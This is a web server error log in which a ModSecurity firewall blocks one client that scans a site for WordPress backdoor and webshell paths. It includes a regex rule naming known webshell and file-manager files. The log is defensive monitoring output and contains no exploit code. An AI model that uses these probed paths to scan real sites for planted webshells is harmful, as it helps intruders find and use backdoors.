[Sun Apr 05 23:23:53.172379 2026] [:error] [pid 45409:tid 45420] [client 68.221.134.12:23815] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/JKydQumkIarjMJ4default.php"] [unique_id "adJ-idHt_Oyw03gjCNh00gAAAMk"]
[Sun Apr 05 23:23:53.677670 2026] [:error] [pid 45409:tid 45435] [client 68.221.134.12:65041] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/JKydQumkIarjMJ4default.php"] [unique_id "adJ-idHt_Oyw03gjCNh02QAAANg"]
[Sun Apr 05 23:23:54.412663 2026] [:error] [pid 45305:tid 45388] [client 68.221.134.12:11784] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/JKydQumkIarjMJ4default.php"] [unique_id "adJ-iujDQjr7aWhjflCPqAAAAJE"]
[Sun Apr 05 23:23:55.203128 2026] [:error] [pid 30921:tid 30935] [client 68.221.134.12:64999] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/JKydQumkIarjMJ4default.php"] [unique_id "adJ-i2FGQVn8Q0ueB25ZBQAAAQw"]
[Sun Apr 05 23:23:56.415522 2026] [:error] [pid 45303:tid 45320] [client 68.221.134.12:65500] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adJ-jLboQ9eViZ4hdnmNggAAAAM"]
[Sun Apr 05 23:23:57.644653 2026] [:error] [pid 45409:tid 45420] [client 68.221.134.12:4859] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adJ-jdHt_Oyw03gjCNh06AAAAMk"]
[Sun Apr 05 23:23:59.090655 2026] [:error] [pid 30921:tid 30930] [client 68.221.134.12:32774] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adJ-j2FGQVn8Q0ueB25ZDAAAAQc"]
[Sun Apr 05 23:23:59.808813 2026] [:error] [pid 30921:tid 30939] [client 68.221.134.12:44366] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adJ-j2FGQVn8Q0ueB25ZDgAAARA"]
[Sun Apr 05 23:24:00.673220 2026] [:error] [pid 30921:tid 30946] [client 68.221.134.12:11831] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adJ-kGFGQVn8Q0ueB25ZFAAAARc"]
[Sun Apr 05 23:24:01.459875 2026] [:error] [pid 45304:tid 45345] [client 68.221.134.12:4575] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adJ-kQ5jnqDKKovdRklFMgAAAEE"]
[Sun Apr 05 23:24:02.426092 2026] [:error] [pid 30921:tid 30939] [client 68.221.134.12:4843] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adJ-kmFGQVn8Q0ueB25ZHAAAARA"]
[Sun Apr 05 23:24:03.892993 2026] [:error] [pid 45304:tid 45365] [client 68.221.134.12:4858] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adJ-kw5jnqDKKovdRklFNQAAAFU"]
[Sun Apr 05 23:24:05.100838 2026] [:error] [pid 30921:tid 30926] [client 68.221.134.12:23846] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/oLEzRVqmJJPFSucdefault.php"] [unique_id "adJ-lWFGQVn8Q0ueB25ZIQAAAQM"]
[Sun Apr 05 23:24:06.166694 2026] [:error] [pid 45303:tid 45340] [client 68.221.134.12:11785] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/oLEzRVqmJJPFSucdefault.php"] [unique_id "adJ-lrboQ9eViZ4hdnmNlQAAABc"]
[Sun Apr 05 23:24:06.814600 2026] [:error] [pid 45305:tid 45384] [client 68.221.134.12:65506] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/oLEzRVqmJJPFSucdefault.php"] [unique_id "adJ-lujDQjr7aWhjflCPygAAAI0"]
[Sun Apr 05 23:24:07.438552 2026] [:error] [pid 45409:tid 45412] [client 68.221.134.12:32507] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/oLEzRVqmJJPFSucdefault.php"] [unique_id "adJ-l9Ht_Oyw03gjCNh1CQAAAME"]
[Sun Apr 05 23:24:08.032458 2026] [:error] [pid 45409:tid 45416] [client 68.221.134.12:20284] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pxw8hpvyfvvpojjxvnCdefault.php"] [unique_id "adJ-mNHt_Oyw03gjCNh1DQAAAMU"]
[Sun Apr 05 23:24:08.691453 2026] [:error] [pid 45409:tid 45418] [client 68.221.134.12:65049] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pxw8hpvyfvvpojjxvnCdefault.php"] [unique_id "adJ-mNHt_Oyw03gjCNh1FQAAAMc"]
[Sun Apr 05 23:24:09.241912 2026] [:error] [pid 45409:tid 45429] [client 68.221.134.12:4315] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pxw8hpvyfvvpojjxvnCdefault.php"] [unique_id "adJ-mdHt_Oyw03gjCNh1GAAAANI"]
[Sun Apr 05 23:24:09.832988 2026] [:error] [pid 45409:tid 45420] [client 68.221.134.12:64984] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pxw8hpvyfvvpojjxvnCdefault.php"] [unique_id "adJ-mdHt_Oyw03gjCNh1HgAAAMk"]
[Sun Apr 05 23:24:10.365198 2026] [:error] [pid 45409:tid 45419] [client 68.221.134.12:33354] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adJ-mtHt_Oyw03gjCNh1JAAAAMg"]
[Sun Apr 05 23:24:10.935698 2026] [:error] [pid 45409:tid 45420] [client 68.221.134.12:44415] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adJ-mtHt_Oyw03gjCNh1LAAAAMk"]
[Sun Apr 05 23:24:11.429740 2026] [:error] [pid 45409:tid 45412] [client 68.221.134.12:4580] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adJ-m9Ht_Oyw03gjCNh1MgAAAME"]
[Sun Apr 05 23:24:11.940992 2026] [:error] [pid 45303:tid 45325] [client 68.221.134.12:23817] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adJ-m7boQ9eViZ4hdnmNngAAAAg"]
[Sun Apr 05 23:24:12.424052 2026] [:error] [pid 30921:tid 30937] [client 68.221.134.12:23831] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "adJ-nGFGQVn8Q0ueB25ZMQAAAQ4"]
[Sun Apr 05 23:24:13.067977 2026] [:error] [pid 45409:tid 45417] [client 68.221.134.12:65074] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "adJ-ndHt_Oyw03gjCNh1RgAAAMY"]
[Sun Apr 05 23:24:13.601865 2026] [:error] [pid 30921:tid 30942] [client 68.221.134.12:11801] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "adJ-nWFGQVn8Q0ueB25ZMwAAARM"]
[Sun Apr 05 23:24:14.084968 2026] [:error] [pid 45303:tid 45324] [client 68.221.134.12:40712] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "adJ-nrboQ9eViZ4hdnmNpwAAAAc"]
[Sun Apr 05 23:24:14.748556 2026] [:error] [pid 45409:tid 45434] [client 68.221.134.12:23860] [client 68.221.134.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/tiny.php"] [unique_id "adJ-ntHt_Oyw03gjCNh1VQAAANc"]
[Sun Apr 05 23:24:15.234268 2026] [:error] [pid 45305:tid 45388] [client 68.221.134.12:4845] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/config.php"] [unique_id "adJ-n-jDQjr7aWhjflCP2QAAAJE"]
[Sun Apr 05 23:24:15.779864 2026] [:error] [pid 45409:tid 45422] [client 68.221.134.12:65016] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/config.php"] [unique_id "adJ-n9Ht_Oyw03gjCNh1awAAAMs"]
[Sun Apr 05 23:24:16.439421 2026] [:error] [pid 30921:tid 30940] [client 68.221.134.12:33370] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/config.php"] [unique_id "adJ-oGFGQVn8Q0ueB25ZQAAAARE"]
[Sun Apr 05 23:24:17.225668 2026] [:error] [pid 45305:tid 45387] [client 68.221.134.12:65015] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/images/admin.php"] [unique_id "adJ-oejDQjr7aWhjflCP3QAAAJA"]
[Sun Apr 05 23:24:17.713038 2026] [:error] [pid 45303:tid 45331] [client 68.221.134.12:23843] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/images/admin.php"] [unique_id "adJ-obboQ9eViZ4hdnmNrgAAAA4"]
[Sun Apr 05 23:24:18.302370 2026] [:error] [pid 45409:tid 45421] [client 68.221.134.12:4547] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/images/admin.php"] [unique_id "adJ-otHt_Oyw03gjCNh1kAAAAMo"]
[Sun Apr 05 23:24:19.238494 2026] [:error] [pid 45303:tid 45320] [client 68.221.134.12:65478] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/images/admin.php"] [unique_id "adJ-o7boQ9eViZ4hdnmNuQAAAAM"]
[Sun Apr 05 23:24:19.841946 2026] [:error] [pid 45304:tid 45355] [client 68.221.134.12:20245] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xda.php"] [unique_id "adJ-ow5jnqDKKovdRklFQAAAAEs"]
[Sun Apr 05 23:24:20.365151 2026] [:error] [pid 30921:tid 30940] [client 68.221.134.12:4861] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xda.php"] [unique_id "adJ-pGFGQVn8Q0ueB25ZTwAAARE"]
[Sun Apr 05 23:24:21.049965 2026] [:error] [pid 45409:tid 45431] [client 68.221.134.12:32508] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xda.php"] [unique_id "adJ-pdHt_Oyw03gjCNh1pAAAANQ"]
[Sun Apr 05 23:24:21.870037 2026] [:error] [pid 45304:tid 45362] [client 68.221.134.12:44411] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xda.php"] [unique_id "adJ-pQ5jnqDKKovdRklFRwAAAFI"]
[Sun Apr 05 23:24:22.540334 2026] [:error] [pid 45303:tid 45326] [client 68.221.134.12:11808] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wdone1.php"] [unique_id "adJ-prboQ9eViZ4hdnmNxQAAAAk"]
[Sun Apr 05 23:24:23.364992 2026] [:error] [pid 45304:tid 45349] [client 68.221.134.12:64989] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wdone1.php"] [unique_id "adJ-pw5jnqDKKovdRklFSwAAAEU"]
[Sun Apr 05 23:24:24.093047 2026] [:error] [pid 30921:tid 30928] [client 68.221.134.12:4288] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wdone1.php"] [unique_id "adJ-qGFGQVn8Q0ueB25ZVAAAAQU"]
[Sun Apr 05 23:24:24.897107 2026] [:error] [pid 45303:tid 45319] [client 68.221.134.12:4292] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wdone1.php"] [unique_id "adJ-qLboQ9eViZ4hdnmNzgAAAAI"]
[Sun Apr 05 23:24:25.533737 2026] [:error] [pid 45305:tid 45386] [client 68.221.134.12:33365] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "adJ-qejDQjr7aWhjflCP7wAAAI8"]
[Sun Apr 05 23:24:26.094349 2026] [:error] [pid 45409:tid 45434] [client 68.221.134.12:4313] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "adJ-qtHt_Oyw03gjCNh10QAAANc"]
[Sun Apr 05 23:24:26.719932 2026] [:error] [pid 45305:tid 45377] [client 68.221.134.12:4813] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "adJ-qujDQjr7aWhjflCP9QAAAIY"]
[Sun Apr 05 23:24:27.529283 2026] [:error] [pid 45409:tid 45426] [client 68.221.134.12:11818] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "adJ-q9Ht_Oyw03gjCNh13QAAAM8"]
[Sun Apr 05 23:24:41.546369 2026] [:error] [pid 45303:tid 45337] [client 68.221.134.12:4300] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/villain.php"] [unique_id "adJ-ubboQ9eViZ4hdnmOPwAAABQ"]
[Sun Apr 05 23:24:42.763075 2026] [:error] [pid 45409:tid 45418] [client 68.221.134.12:23095] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/villain.php"] [unique_id "adJ-utHt_Oyw03gjCNh2IQAAAMc"]
[Sun Apr 05 23:24:43.733315 2026] [:error] [pid 45304:tid 45367] [client 68.221.134.12:4833] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/villain.php"] [unique_id "adJ-uw5jnqDKKovdRklFmQAAAFc"]
[Sun Apr 05 23:24:44.488825 2026] [:error] [pid 45304:tid 45360] [client 68.221.134.12:37566] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/villain.php"] [unique_id "adJ-vA5jnqDKKovdRklFogAAAFA"]
[Sun Apr 05 23:24:45.439011 2026] [:error] [pid 30921:tid 30939] [client 68.221.134.12:4347] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-db.php"] [unique_id "adJ-vWFGQVn8Q0ueB25ZiAAAARA"]
[Sun Apr 05 23:24:46.210435 2026] [:error] [pid 45409:tid 45429] [client 68.221.134.12:65487] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-db.php"] [unique_id "adJ-vtHt_Oyw03gjCNh2KgAAANI"]
